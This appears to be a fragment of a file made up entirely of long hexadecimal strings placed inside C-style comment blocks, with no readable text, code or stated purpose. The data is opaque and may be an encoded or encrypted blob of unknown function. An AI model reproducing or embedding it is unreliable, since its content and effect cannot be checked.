89c17c4a1c37191f98812dd5637abf4ca5a7c53c145a95890f1bf75f7964960f0bc24c04e878818dd5aada7538309299b1f74a8f6d1434e3ae56813501d2d35637fab9e32bd7575cea7362179c53aae743c0f29d429d556f5e1900a59732e2d959517704a012918329de99427abec592bb16f493bb7b505fabc9df0bfaa3db2eee7c96f9d7c103b4fa315d2a250275f774aec1557c0efe5c9ed37c048a4d40e6a6f06de2b09d9d558f863aed65b6f71568dd87628ddd49fccbce384bd4366e3bddb2b56fc83c8c391e7429bbbb55ff3fafa2922d30657065f246f836769a8820d5e0a16768b38f8242c6362db7f0a019346060d40e46f83eeaa04d604101a1c2bf47b1161adfd5384a6e264716d4bf34d071fc8255d4a9dc479664e5d857ad868145a3d22b6ce07f764d35663b59d7248d1f4c4a87d4d6f5a5a17766dce4dee57139e07f32ed8bd0df8b0dce157e153d765794368ed1f72f636214a43b4e7b7da198c2d8e03ea06874c3c7ef8d1e974b62ef066ff2fb7c253087592f8d93cf9f3f6747b256951d3773f82775cf4fa2e628eb79281d43a00c61a020a50e57ab2fadd6e14b196652864e2fa1090666e816574b10f3f98353bafbe3f99f366dabc177253625199bb8009a251f0b203c89f23ee44e4ce1f20212bd0db47031608d64adae46d51180ab48df907193befd36442fe53d01a3bad0035d65203f28671d4c6c818b0cab817cb465a06ea7392cdad753bc51c336d9ab0d880951b4ff8bf1d0525626329b3011fb0c61cab8d0df2fa9c4c890929c02337cdc7042e4029c41634a604e43e65082f12979a57d97e4c6985183a3f3986f7cff4084bff4f55e169ec64539e7e0c2abdfc72e5bcabe8dc8b8014fc406ff404d23d51ac19f8ecf70c2917c3831c0578293366de399fc6b93362cd77a017bc46332fbe334df94dd32ad4f0656b00a3b00ec1aa52c7c8e538bf65d1af4c4a84289f2a9c2fa71792a5b307c161b2c611b3b505371a318c6dc1a6825268b4605b8f5805f16dc97b1b64f28550bc7dd4034d6be346946e63b4c959dab86c744af50dd2d04210427a40559fe1b5b7f5d6a933aa8c20b719976f50c46117d4fbcf805d4903b3c859ecbfc2570b1135ced00b30aa021fab7e84c44babb12e433ae12ad5a02c667ba51d1282583c0b5fa1223951b30c213ca4e5313660d3aba11109824ce1658568ff5fda6098a419f7e18ee7862f7d2fd2ab6abc9b1690d321b4a03b3db3557cb812b36a1330297adab1fab3c2e4124e332ee66c4fda1bab654fe251d2274746b6d6fea402c7ddb895938f479c6ecc882ce04c91a312f1b6f9f2bb4edab953ce59295b19c9befa5888b9cc6db5eac4768cfe9b651744f5447aacef40a36ccc8618434403b0102b7c2fc4f4b543418d9d8576a0b01489b5cd703e0081d48f*/
/*137699f2f7c93d07f3756a54a281a475110de21ab107d715230993f1ab0976d5e60e323f82606d90c1c5d3774d64bfa45764ac52b259c5cdda895e503aa13207aaa190f7dd9c2f8d20cb07a851cf693cbbfbc8635e55b279c2d39314f23ec876b74f34e93a972b2756813c6a71a59626905470899f1b6e21acb2b99f7c2e046369f710e022f5d88112419b357491bd7eda9dd0539dd4f3e47aad7f19634df3084a77765caa74ed3d3cb60ddb8800d973e52619f4357f6d19084ef7e4f635aa18bcef1d523c8b2b5783610a0d052fc6c7de0c542356a6ba218a7a1e286668e42c9ffa7b6071f784300b2a0a56f85423cda8a71ffa06759e915effc2e74d767be98ff168cd97fd126bd17cf28c4bbb3bbf26d61ff46c6fa26749ef9de37dc7864fa9449fd34ffae9e3d078e87d213caf79acc166499b910c1367da2b73ee546e43cdb90e78924973ce5ad95cfc062d90fdd5caad5da2b56e15aa1c63e9f747a48e69f995716ce643a5152ceac516c3b69f28b87e92fc7ae4f60f86075182046043c5d632aab4aca102f7558fbc139455c3280ee4c757c5444180e9eafdcedb2571000f15a2ba0e39088c05f41dab0ea7c98086365374d5453fdbf165c8e8cf9bef05d4f6e20c1c39f910110015fbc9cae7fdc64b290f4bc278d2ef23842871f554dbf3ff4121361af715d5056259dd3aed5f9be1c82d13e2aa9c07685f0488c3c04bb6495ca55371c906ecea30ea3a4652d74a6317a94a8ced9a404b654712bdf3a0f6ab01fa47a2a956b4f9df3eaae5f7c652ba894d617e0c434c803d61d2fe7b63a60c4ab5547e284abe506737c38f2f99a2842c1ef13526bc35104969a850325222ea759e6d078fd60681ba2b74d6ca3c5154d81e32789d6d6bee0fa225a4441ecb1aa045909c3fc6317eeb758bfe8649dc5a60aab82cb886f2999d21982ba91351c59470d10a445c0a89188f1e37c9de8f97441b06c8754c9658f5e6cfe63731a6b6dc28ee92621a449657e77be5f93efc4e20c15392633ee68630aae30479d4b875aa7e8fd57ba9e1928a1d306477c8cfc335e40d1fe8d92519b6335d629e2b474074e2a9839d1b397f5bf28118aa5b7ce5335e5704469713db2b34a67a657d7f5a93789007675578225188d1168d40ea3baa4a60e154912ddca3e1d0ede703215c871c96502ce05c1a1b4a604c3533fa11a79f360b2645b3314dc9315d75d20206339e73b44a0a506af6837a281fc0c37cd17d4a05e31a2d9d28f6ae1a40529815e175f34526cedf8203dc45791dbf008f5e34fb62e8e4239f5fa26d48270947747267a82a938edb407a1776fcb711a06b61cff62806d541ab4b73d6fd39e62e4b07ec50ec5259c1dfec7bcb48007805dfc4f1b330b3e8b6f71a8a16331b45d3d39faec84b36a0edff57fa607895ac1d9dce988ef87bab21113173fafb4da8875ac3b194364ed7d18b6e8ff8558274d778ac57f367eaafb33c6f77c390a07dcd0a750c167d3ce15e0335450e6e0a4c2039c0301c97bccf8c9276eed5a1f3de845fe328aa14b681ab5d8fdfbfecce6abf9b2d01627adbf368de2079cab8677bdc713d42d3c3cb1c4d1012e20e98e6449957bde217609c2e72ed236a4633019f4744cf04c1781dec710bcbec7aaa250ff10a8e94e588d9726cf9ea7b893dd31e5a741f8b05f005a06e41c692ee1b30c64250ec4e4a10f3d9c241188436ab988a13a0d8bb7d00479213f6e67aa3d67d13b5fed10bbac827a63b42b4dc9ce703ffbc381eb367e75529df3d75d97018190b309b13f17976903684ae4f8d4c2a7111bf3682387fe499ba7569abe1439a15afb51c72024dfda98afdc516896fe8e38fa3f9c73d1efe1d7e47c97f5b629820d0beb15e2769ea24e25cac8d559f23c02c90e35fe4e765bd6401c3eb77a96d87a386f77a5130ca641c7d8baa5fa60b4c61ecc6492d0804b3220abed21862e582055dc8c6c83547b3eff6453caaad38c1d144ec228d0dcd35c4b31c29d0d0247a382e42a161bc7d1f88510e117e0946fb978afd4ed4fdafdfca6691905ad0cb27ee6f69a38d38dc004efa62291e057d51e4f9ad832ff1489bae5215757a06101130a756650de15846927e4849069006b1596cd1538fc7381d041958f9f97b514c91e630a83b91e17b2c0a2fc293d0004fbd06bfbb0ea27489912f15c7cbff531156a7a7ca331e972aea1e5cb54c077f15dc89c7763f041bb686b296e9a715e6b89fa2d8d67a0f484b94cc066e2ef2cf57fe6ec8b54fa7cedd80773f8d881c343c88c3e1729eb6ef062e048275860d59a69737ef91ecf5a1a4decfc2d5055750721e368a36543e3f58ddc1ba95f969931aa05a122f306055fa63a86faa9e41a5d663cc4a556682aec3ad21f1816e777ea4c16a0cf3a6cd2bc9d320470cf0bb6cc8ccede9e716d4efdd0d0641ec96a17a58ac250b4be3c26fdcc8fd020282c99e3ea4af325169af2c9dfb1645cf72ce224e313c1baa7643b23f3c547d4cebec00b278bd75e1e2466ec18b84c88c69b931b901906b3c844027f46492711f6e00cb31085759df4787386ff758472956bb3db0636e4da4174a2409e7afce756dd022c2f35d196bd2fce01c965ab9a5c5beba86d328c614a481450c1228e5a9c48956135f399aa1e311c33a0a0e3ff282e3de488c84bba067b875ce5871c2a7365c50afacc3c4b5a8da7d6f817e7a1e557dad4fa946831680af4f4c311fba697fec2ec1d07202438a5dcdc516c8f77d28e1d693f17aa8f2e85d8ad7168c7520fc8215e9b2925175984e6d52bbabaa4e04e68cfc75ee37d8e22f621d791ff6d120cd76a0*/
/*fc23a03052046c8ebb36276a79a86c6f731acd563e7d7b8b255d3003a0c5f0d61ffcbbda75736353b82ccc959bea409a813e60df0646f55ef3ebcb37f2f82f0e97a18a667cece1498a18429cf8a607f65fdbea1671cb67071cb71162ed803e2bab4986b707ff00ec8809eb395cbdf3ec0db0104e558981d48192c88ec8cd32be1060888693ca34769265c21c2d7e79007fbc57fa2fab1fbfd27c7388ffeed17ff1e7fc4aad8474eaefabd015d15b3638f3de5b506408fdb3935d8142e210f5abc367242309f02107d9e1df24e57caf5fc7ea09a9f2bd53044762ca82fb657fe050b93a00a2833b32a2326c6692ee95d9b9c311ab0d23707e648d4e0ffdc619208265be68904821f36e8b70e484322bd21acd04f51adc0ae4359c97bad82b73aebdd830178500083bb3aff4a9d1cf20e8a290c1fb9af82404b9a61616dbbaa10d569669e1be6183d3cfad84c00887391d1e72338e5953a6bf0f902ae94300851eaaff865f611f7919074866d7c1f091bcc3d0603857438965eafa4e7e114cd981908a1131c01243a40564953d0ec9ca66985b354a0846e6e2fab8ad8310dca98f2a34831fa1c1f537ab115821b1ea8ee466b1b34ddf8c10387af3943bb553aed52d4ec98a2251319e761a260bbfa9151664bb62a38ca82a541a6dcf3a6833920c136ba58fe1034d8469029dd40133edf9d4f109246d6dd33404d6262fa7c299cd1a12b88d1f660e3986cf1bbc52d8b27c0d5a661dfceeb6e320848abd7137c97e23df81820b88cc2d85170ad65f4d1c16a6f90b209cf271e4d0c8d357de0f3871bbcfec5d963229c300e8b11b7da0ef4fc2d42366139dfedf3a368af50d94ae05bde4515f7e47bb06787a6c6d6888508d0dcb1b76630f5ae376db191268352d719f196f8ed9e5f33648e02f44dda65506611d615e4ff821e5624a8ca22c06120c2eafe5866e79b93a91ab58909f9fcb099bed61712102b7f28af3ae38b849c904240541a4de80e8c20ebd31458e6c570c302aa0d6475fd788c0c60bc3df61c349fa0944f3be7288bf101c82b336c7a5c38da154043e18eb1042634fbadb83834b6f8419f5fcb9a372a4350a4b74eeeff1a8b92f42d6bb278903256808e3e9054016136ce8c4f1c88bea0ad1064de0a232899f2f3c6f0b1234d00e7afc3d141f0657b74dc5c42c12f5ed1c88f9766abc450907e8ea5bfcb6afac97feac9d1209617dc3d7ea44ce7bbf784fb03b9dc549717db60c757ee5ccd7352075689d6363ebd676499d6e2745711cf422820282226fa6587bd8b87141a6fa7e4910dd4549f9cad8b8bf2f71d14765e53f560a063199210b2d4cc1c69c09ae65d1e58adb9312f5b07d8ee8c0d691ce758abda9ffb9c516f1d9238b1c0ca7bfccdcee1f16b3842b50c03f093979b66fa59fb0a2429dbaf48c75f8e4862e37eb1809ac2e1eca7d0e47ad8bdfd44e1322841d719d2f19f1b574733327beb5677e0af747d9a9c5ac5f045538c1f69f1a1b2a5b846c7b01d1017112befec48851d4aacb34fd1338c5959a3bf8dfce2c30555c259a1df056475d7cde9b26788cc80f02c0cf5af1b2f26d1d92fce9965262c62a8d551c5d3cbddda32d4b3252dd4ba4f52865ca9b3c34a55aa57cd9c0b053646dae2974a0a38c3fb7b94257ec77aa0846c6de4ab48077c847c56f726e7b355fd688c14ec9024622cdbbaf7fe393f46d0870539f1fa2d56864b8b4384a72fbc98f6e50bb17e58d665f0c842a7a06dba94bfe21d3694ae461d1ba8d0dc5a11b39258a81104652f8772e0643173f58f8ac23983b2d17a8341d5924aa9a9c456477d2e92c881649d27842ff08fe367dc2038df0eeb71eeac67f661c2a1a89e4e66171d253bf3fb68b3c594576aa622cee3dbf33cb9ed4908a0f066060549a8ab2db04d1dfdea9bc52916f1316bcd27d8097cf9d420d8ad4b347e37dc16d0619c2c42402f0a93b2551f3a90bcc5a5acf3909d058932a426f5a71704019e797bdad7659e54fc198a69b5813640dc6baa7df62e9b068a5d7f379d23c7bee781ab6020f42fa41aa4d9aacfa72065a8a9bc047021a951302c0591ea0afe1766d16cbecc525754b93d2f7e45533aea91aede03783d6122f7bd714e19a55bc51ebf1b1a225048edc0a91c4846a0cd327f32560f816a8582be7e324dce2d8f7fc9a59e1ad13ef215c1dbde7e7964e512608c4f4aaf1717906d0bf5ef74be259d0d45ff0668fcdfb201562341cef134998c9be75e367a20ee125cc3c8f5abff3de37ebbe773cbc63b17e72e8c56ab2a26436d24e931642d1dda13a9ed385373e8ac3f721982aba36128f7bfee56c9fc9e16961c5e86bcaac4579c25755fb23e821f55dc6263d6ea8bb8468cc3147341f370b4824521ee312ccaba88a180a889b43b9e6429a2d1b88c1214321abf17360ed38c918898e0f3120a6a32f85715a1e2b6958e09bd6375a95e8eae73ea40dab11a741bf8aa0362a3f80d0405a9b657e4244a9d429e8086b29a4f8a510176bbec5e50c57cf771e15b32cf58ae5a5270e93ace6a5edfbfcfc8926b8df38b3d40631e3d7a992955e75db89d29d76a491d33e000b66cc4de20a4ee1d97fe4e815955c1206ec697d90f7727868ffe841c0f98cd31e0355513feeaef1f3837702125bb3dd83722bc821fc98aa37ac8a9f65f82532ec11619bb92b4e5d9e0c5f631fca07897fb3003e89a53c24097cda3c05eaa08535e998f6e84b12f0f39c50c2ed0e7281f4821de64dce55f27152a6fd86a561564e1acf1c88b428c0918f9c6a9003fff9928d414164ef49422b549f559d3901dfe520a932a9e325d005f322*/
/*a471b9176f7accf7753078d025a5c69a91721974c4ee73d12886e5cf1a4fedce96830285380b29eafab0434c5b503b446e455e04d4b1b01fbca63962398670b5eebc96363223670c88c4eecea2d791b99b610c39d462c8a2d942b1d7d67a136cadec2a5278748f6c36b00faaa5375e0bc06f4a740b4b661f1924dca981570e893bbd15745967c954ade6d64f0494f4431f4ee3fbbe601ddfae2e63d697f0b7171b14cd4e79057cbf2e7a15d44e69e7281fa270f87649c76009805153b4bf8ba8c79cd511a217605df7875a19e25e4ed3497f66386796cbebc2a8ac294f0e7ca452e9071b359f7347ddb086340598c03777030c0d134adb77b08bdf972d68dc6d78aafb2e7d21f1f01c1ab5b6d97f6203c091e6c92d916cfa3a52acf01e5df439f385184ad6cb94bf74f39f71acce1dc959ca58223fce578e3d9be3e2e2adb375d005ba30903ffe91f81d334c2b7a934d7a72b117c3a77da0e11f802dde4533ed03b8688e22e706c17ec02dc29dad30bbaaafe95783d16f7f81f8d7b28739959cae39968ca6c64039d4693ca130c7350e07160318f500abebdbad724ea412ad640caa02e53bae4632b2884693b7d936f726a0fe5c97d12f25900659cf477eb56f1b29325d3dc7fef04906841e9d6faa6c84557cd8adacf96ee29881520cf3da9b41e49952a66dbb9053b6003baabff888fa204fce23e2d69abbca1710ed2c73f2cf3260584fd587bb5156d10905d600aa7cee0f59ecd3e5cec0ac986b8ed3f71aa126fc5856b1bc6d8a811c2adcff4d8110ea3d04106bc9eace5de91d8c9b11fa9d5335a045b5b089b9721726b9b1d5208508f5c43073ad0e6c1c425cc05bbab0d4a4e0df9ddb0e594710d41d8e54685d4e99d8934c4f484e3f61c52ee8da86603a2945a08942a42663efe145777e4d6b50e1a1f926ca6a7dcbc678d2eb286f8eae5435c35ed2488dceeb517f59f1161a8079b0d78ce7ca9d03b716197c82df793dcee0198fbf48cdcd198c2e397ab4990be3a662b8b206e461b3759deca7c99d2491787429c0e5a510e0c316c3133e96173de15d77c6e6ca9c2d045bbaed25d952315672bc207b360ad31079d3f9a1e93196446caa978a2e30f2d0048137a1d04d4f4c85050ee730c693ac6e5be8dc9e1d8b08322a31b6764c4eca56eecc9b73ed7ed31d79376fbf313a00f6e3ce6570bca73ce6f2e5938c131c008f839fa7496718fffd176dd6330a00666034bf439090f510fa0669e6c8a63d41744cbc3533c9690d2caf43cc3702e8e69f89ac70e8f9636530fb7c1931df5c5358d96dfad33d2b1422912a1104e7b387081d212a702dffd095e8960a1bb8b7099f828510c093a8508d86733c7e0c0a2a7e656b4e2ae430f5d052d51127c495ebf54ee6a9ef46f4eb201e5ac88b86d4fe4403820499e8579a1bac79aa6645c96aba8502561475e92268667772bbd191fd56f804cf95e41fb3bfe832636e4ff84a0e45dc507cea344ef70b3e3b51ce033768dfe283988d17fa40bbc35e295f8adeea8c1affeeb2e2a8bcec729b2887af673a1e2b36588a2cf3780b5b8530058c9c07e44c857b32c841bd415ae880b478e8ba7d2185637d6d4b1227ae20634553a2599c5d951443963a534e7f89c993cf5db946445ff17cd664f9a5a1d39da2a6af19abc1cee03e1466f15df9669cfdb8f0c2057b934d9568f755acaf93b9cc52db5304e9ca0c293a300e017a745a099e14d752a0d5ba32af8d9e178e065aca10782e59a9c22ca0fefc4a81dbf4f01b988b52c47597da58c53cdbbac3fcf5eb3b82cdd90b32c5af29b5ca9a0776e5156f11074958bfb7e9f1ef9dbe43456fb949240bdb301bdd904fc4f68a713be143fda96e21128da96da89199127ddd20c4e3b4d0c6a1203d654296a32368028238a4d083fa229fe915092f040ab0bab8274a7afdd83611378e9ce6384fe8451a1e6480dd64b2fd290ae235f36107fb15365ba0ca11290a292927fc6610b59c4fe4b1bc30aa4bdd0506608a7a2f9fd3bfee91a01cfd335bbdc48402cbcccc466db02f5433587257ef06abf9f66d111024ad362ee419576926b1fef12171840fddb7101465a273aadfd519c37da45ad9991095b07f02c584ab4fafabd7671d4b570fdb077e9b8a68e5220bd13223b45f3058412fd77cf9312c4a35b4ce27780cb6520a46b5445573135a7bf96ff3dd4db2e81afdfe7dd55bce812e431ae99d6843027db105f8d94733f2dca206b604146d9b3961ddce86335f8590d3393b79a14f8b81cbfdb13803e0d574937489f3fb6ea573f0b252fb7c3cb6e76a6ac834746b9946ad5fa6e085278f59df9a603ed064f05b0b324b01103418b6c85892442b722e0d777983d976d9301c117b11f266af9ac6b5be041f2ff114279141049fec45a042a5feff0b28efed583b7b6b26f67ce827806d3b1985ad0dc93932c3df4dc6627906dabca9cd6a40c499f5fb28b14b8fe6639a30c5b8b591584f8764f5d430064084bf5b671063d5389dd732de43553c36757db0fee8c4169607094ec654c5d5f90e07f2c7066c7dae8b26aca48934dc1d3c0d10a5a53f5d1e30967dd5a7cede04d670aa30e6881c7f3a547657f2f962e37d9e39f7ad127a51b36c277a2aaac4af2589df47ca23b24abcd056f1c8ae70f98409a62cbdc65e7c1b45a972e0964d5d64c80f02872abfd18fc887c9291b6ac6726141358bb1dfbc22b1a0c95c2fb0f45305a4c2a776daad85c0c3722889461df4eb81ed24e8a4b6eb7baebcb4359e855671748210b660bfacdbfdf48d3d0a06420e3c9e773dedf6bd80ea170b62f985b687a5a9b570*/
/*30c056fea7aaca44485b0275b21702f455d1e89d282be2ffd128eb7067e62ce36e359a8da1bdc454004223b25dd60a5a5a8631b637a4de7529ac91b4883a719d839468e6b8aeab0db8517a459b79dd01044b218c98bf3fafd6cef3701ac877ba9c954cb7425e3aeac377148caa9915fbbf7c0e3ee92490756278cabfc7963745fb239e15f1fe4af67b037da652ab0414f4ba682c040f2c17b5d472139c2b4ca0e00877ed005a804cc73d7160c0306274f4276299b58cbfb2353051a7f14e6e2df7640b282d717bfeadd4152cfd2391285a9835801a9a0cb283880972aaa068becc24f5841898d1b274a109bdaa689e5cc080266be3ed49ab26ff075241f4ed5e26b2251bf711f3f78090034e508ba788f106b0979a3585bb5e5c95e4f7f845792178c15b6de2f9ad3dd82ddec439280223c9561e797306da084d44828333c4ae7e15097e2ee056d8cd3378a9a1c98606a807d77a9b477f78d46d0626fe4745bf7690b999e9a82b1386d017943dfa36336e90da25941c8c9588eb950e2f33566181d9b8ae932c37d50ec73a11810d24498f3f0144062ae952fead1ee486b1210c69da154bd2169e819b4f9a2e52af8617e0ed9837f1ecc58b47bd13101a20cf7b99c63eb6a76f91d205e72918a73d2e7517b643222e4b0a66842f73ce6ca7800213ccdfe82f202aaad55093be0c82a605cd2475c1aebdf35589ac5077e169018df5f40c9fa0d9ab485c3261dba6522c45894e798fcf0e913b574b3b8988b1dfb31ab92df9c05b50ac594db29463aec6552f8337910b86e7441f2f0da1a6f03f18129bf92727bc456300b2baf4824b5051e64f13577f1e1f870fa8e17fae620fc1041d9fd7beb731483e5f4666cdc65842a3145910e85f6f46f897c6c1b9d56c238b912db47ce22c21616ac18db2e2ee65c541360df96364bb6e4dc23aafb0a363e2cf9fea1df67d024f7ba2994582867c0f11fc63f211bf05d4fcd725e9173ae78be42a959a451f5077a43adc33a0a28e92260757bc18fb5da05e3d874fb8d35ad91307a82e48439727b88721af7e5d37b2ccb23ab1611abb223f44e2c9f4a1229b1b2ce82a0f2a27277a17b0843eb2833496073f2be8bb593eddc1c73ccc597585add1ac6101733ed874bb668a8eba875c47db68445c991f28459ab1d4084c381cc03b5cf133088a3be8109df45637c20dd96455f0beab3710cb4bc3deb7b48c530884409f09bbaa292dc87a3f154e219cf5cdbd5dcbf3d0f5b3d56364daecc15d026de11f6555c42e8af3006595a1ff6aa9f17ae176ff9c8b3cea89c7ff31bc530d3e50dfc7315c9fe4ebe6a92810e25eba087c6a513d60a4c933314cac13b1df87e04057b8b4010238e1b19392a7d85a3a42f25532ce706c6a2c3704cc49f81107ce9e6734f25cd51ad12491479be191518a97b4a8dd968799a4f930e2aa1b1c52df9ebaa734e50afbec9c137df78745a8eb0de5e31f8e4af01e361c1a5b23bdd4d4389e73d5f42e406ad637784a2dfb86676d97b59465e038912baeda14736ad2750c47c4121a6c40504961f5803052933608d7bd0f1f419f447bcdd5d3204b6e5afee3370546c249b21ab380625fcbf13789d4a6d1f62078e0132d926918f8e1dbcd4550c28298757016b7bb735c45a59f011d384d31360c20e436e99cd6d5d545b58336d8fd9980b7862bcf9808c866d77552ce20f99a0b58ce96cff16a734dac867c437397f27f6274b4048523ab0d4816105a3fd88df6f32d91effee293a575b510b29308f03dfd6cd38341c98646a760793a25ead2b644322abf139a4a05fe2a1a1e320ae62430b7553cdad6d6bb260b0cc84ee936817f724131a443ca63f0e4b48d3184fabfb2b2ce16a250fac0773a038b425ad768f75f75743420f1a05f3cad9992ef4d443d0a0c3a220a7d3c1b6676d813bd8ae41793282046c041f92b98befc8136a8dcad234f24a2440051911aa9e46d0decaa4347cf8b4f23fabb636957222ed6d062b9fcd2dc39713f892d2b2ffb6a28105989813bddddb66dc0498d941c4705497fcb4cc2a3fe1d4a2fba5363d2c01a9004898df5b9ffd224c573efb97c70a088777cf9101fc1ec15f11c2dddaed92db2de2c06f42434961ea94a28b4d6a29395850feced5031b63eba35b985242ddf94e3d3a8ba28514b30b704fb228647e74f80b6eff0fa290c896d50056653482223afb0cf8c5843268f9c4b2427ff8191d1207751922706d954c2a7236b4687f9f18ceff595ad9a2cf5807ef0390ee3b030cd548f1545212b755b1e860a795afd3d92ddfaffc4904bdc49ef261250d524ea26bd5534941abd5c26c08120e6816416f6af9ec6436afda6b30ca390dd95b0150d165d8af318f15aee6efa29c9f880e73d340d073fb05aca03c39d0cb2c927c6df522f1fe73a94650d8b99c06f7af779346b8a9bad63d394000bfdb06bd0c99560b22b983db7e4a9416c0e01e6c43617370ab5164bffc921a596b819a3f8e19061d51a493eee1a684ffd90ba00de43a55abafca91d75e713b4b34cb67e8bea8104ffc862773a98b5b31bfd1a6eb69e54475fc325080e39dcd2e73d69a7e7f4bc1b82e1fd6391d0ca4b78c793e4014bb4fecddd9aad5daa36fdb4619e308b9628150fc04f4fffaeea3df717fce7c4f9b7e105ce834b3d1585e283bb7e020ecc5b3e862417f9089d96b70d3d5d1723bb796c8f9efbe8691efeceeb4be12613fcc11baa3637a95e9ec9af62c29e6f418c8b0d494430b1b8017ad456589c853049c166ee55efcde0470d3540c6962ce3f6ca729e18ff685e350ce3f1651161360d368d0a89bc5bbec2*/
/*70ae96dce584baa4824584b4676a39cb63d7f7ba6887009ec1f8460d8c37668731b20913f293a90704db17e00bbc50c3242d42acd8d76a07782f84fdf498543251ff37f556951fedb04e88628e3e57ddedce9b0a9aada9806a27e72d5b388031bf88a1ac0a1df68570e792446ca5309bd21c7d843f14d92e23062b3b2562ea45ac296b093238680493eb54e7ae206d61c4507e75554704208d61ffa47239132b46b1f7f96341b6ac33a84d3a789fac7a311b286819d21f4e1a2477f428b1fd35ac7d7bb34a88ad96742f96110d9ad68256f9d2dd15901a8e4a73aaf4c2fb018cfba0f275f23eb3176fd6e1437c4ddcbb56574de57b768808ef9a94de5fed4af4336b63b52a9211b15e26375c23cec8178546b039682f19c9db867d2f86bbc8cd6208eacedb417cac2d8a6b15314cec3d8a44729df524f74d12c26be55f09d21f732eeaf069877f58d4c53a47c87bada2671a43f1351170feff67b5db6d07eea374bd3eb7e881e066b34dccea4e58a1525d2a20d584d94585fa91c57cdd79002b00410436e734d8e85769588dd00a9193544c8b944347ce981bf909b14cf99d3192517cf5a8db26f8e2432714e4f4090760d41ec3c958a6fefc9b1f7076421a505175e85ca8a86ed168847fed6302ff7a3be022ccc0ea26753a69d9288309eb08a5a83466313db1f14826b712a22074eee164da01c6ebc77c5ec66aae838a4ddcbbee2189da524731d23cfff5e973fe323bcd418efd95dc0b2bf13ed71380a250cd843639b97856e9e9243e52ef46c77eb7d9aed8eaac0ee3a6beb49d433b56d4c05a8f9457076a8de8907f32d2471f866ba64a756ddbe5a613b90b34e1561026f3c692231fb69349e0781d49e907003f90d45feb6b145f45fcdb71b89bd871cace98cbd61989dab9d12370cc9c77ffecca12edda16b90c10aa8b22144e33a221f93d61bdff46167f6d9796921e375ca47e09a369bd851ad0d21e6e0d02420352b759e2f93b6d95837a51efc60bb1ad495404eaa92110cadaf314e4f080f4768478b4a84d8ef9c06d2516d7ae173e4a92cd4ac2ee8401d476a60d4b61fda82cf407e57598628934e843f04639d6a349f305d3e65ab796c021f58789d054ff753f23edd1659a3f8f28c225aad9354934121b0492b93a08ec20cbef60c8b087b6161e98b86aefcfbdb1819dd41327656d1367a78ebd153272c58537a3bbbdbb45b6cf5179477c76dfccb8f977bb9f58f89b8a1dd5ea30cb5d6b7be7154c8225efc04cac40103866d11c1044bc195901a4190c51070978e454a7a5a71a164f4c50379a1f6f79fcd8be9138b71c107d73f6aedf647bd27444ebf840c863830336b285d17d0a91df4b291b4ec14f780123b4dc09497f5604b2bb7024a706624bb4322b6984ca18b959fb4837c87bf17b0d555c39943cdca0372de228e5d6b4d5592a2889b813254d93c8fee3cd5ec5a1b8b013eab3beff33880ca1cad8c45b296bd338d9831cda6d663271d7521cf0f983054b2365edfaf0f13b4d15bc4661654216a3daf14c984cdc5008d398f5f91e0544be1f43dc42a8556c49b2d0798e2fdc1a2c90aed00560f32523563e80140835416efb192d21ee8360fd2d2492e074e8b5b3c11b8de9cfacdd1d642633c27695a13425638f09ab05ed8533cce8275701d4350dee71e5d3d8ad82352116313c3a60fe84280fe52c66772c5efe9b07676dd0473ddb90946c8206644b16359a39f19698ef6df5b5aeaf21ba8b81dabaa02bbc4574607a34faf0360bb32784cc8cb0ff1d24222d5938fc73ee639d5388f50794172f67a115cbb5c84e7a0b2ac2826297e9f9ac6c3c4104e2ec0e7aa6210ffbf71d823f8f382dc4aaa5b7f1cb0738e56a7184682fd64d6f08de9218a6ed95a72e37bff3fa56cfa390c5d45b4002f2dd42280fb114a2198f198e3af9a7fe18fc2be6e663aa283a29e4bc921414015d1bb97a01c946b14bf538a0409a4cfd554abbf9da98b41f131b891857eb583d43711c0c1dff591ed4d8c464cafd324493d355279f4ccfc218fd5909be4e7e29169e72834d3f2b91853c4a21b7a7a56eb476845d4964153c746f41aafcc32d1cd062d708e6dea86f6668b4bd17ea26461b6ff80b78d5624409bb88e45f1a1e02f8dc474b30fa126c11f67ef910805b1d861337f62ac3de9fc49a8ff146a5a40bd820516de9a03ea087e7fdc50a394ffa75e0ebc69f153b2c111047bdd26cc651d5eb119a2b479bd62626dd5e52ef82a990a9ab3ad4d6556efbbd2b661e19dca1a74b738e84f3dd5884b0d8c32baa3f948d0e3c036fbfe0520a0ae6b0ae2615b4fe12448290d07e7518561a6f438f35c0c5f733a86e3b4298998dac74e42d768cb2886af4a03063cf6a44805203757191f98713226469c091cd6a72e6f23fa9059fba84213e8220eaf1d6545de1c07fe10543ed3a6b7bf90c99ed4b3cc74140f5bd2436727551a560f4cecca94032097d5e2c1f6bf39862e3a78fbe33dad87416c7ff599d8c1e84b390b438e813d741b0309e64786460080c39e8a35caace65ae46cbce6460999c7dd19ffe9678068bb6120aca3ad22eba0d0f6cb3c1d1262913d3ceebcbddcc12aacdd2f8d55fc887eba1f45888fda3b2fa4de78ad19da82a353561fe859143e4c6baf34d9c86122aadf51c0cc1213945c395c7bad6aada5e1ecac8ea825fd8783722e90c5737ed5e2ee5240ea4052ec1b043243d45f44e706ea46ff0e25d87d38fa5b8891266d9116131ca08c4efa5de1a8acd1acc6912ec9717822a5edf4b389cc823d8c98a287274732702db63a5627d777438a48dcbb0d24a5cabac*/
/*4fb9b98c6f4eefe9787b084f94a480cc7194922e5a5c9e9dbce76faeb411f8e5fc8e560a1061ccf5102f11e3c8abd27dafc7bc1e58afe218eaca2ad54b0e6c716efd5f4ca9331585c34b1076d6cefddf828f0da75727990e9bf47f77334acd413531c5c4dc9e8930c85c2ead2343f216fce13dcf69ddd2f4a636633b3d84798345a14a56c1c6f86d9e20eb338f8a8629e6608d68143b859560f5542b1b4d331a50121ba86c7844cc30ec45f1adf6366709222f4a914fa1f62351c4245d04d8c50492d9db906265d2cb87e32a49f4012674c85093b20fca1f04e8c72933107116ae6a2f88fc1b552e9e16562feef59d23f4d0288d738f1102bbfef7bc53af182fdfc9b511ca3afffab2e5d00e85cb8a006491aa01599829f13e81f164d3f9bb8624f25c2c618f6b780153a3cfc9d185b1dc7644f29ad2f0a17d6f45dde818c4bf53ae6f721d1d6fa2e3dac98a9754a45e44ac634a090b2c5bafa4a4153e80f5a51402852d7849a6ecf6290605353a7f2653c53739fd973018765dabb6bc2b190e7a67977bcfe39b1c4b3a004272edff312b0fd7f2a54c8ec3391605c1b70920f2b7ca41dfe69f55fd3dd072f3161f006ed9e2f7aa2a03b718de9dee10b4cbf00d168feec9c9a09bc153b08f2d620e56e583f3afe8543a53c864c74ff7a813979958f763b9d4bf9978add0011d2dadc60bf0fce40ceeb4d240c9ed8efe3a001ce58af158957429944fdb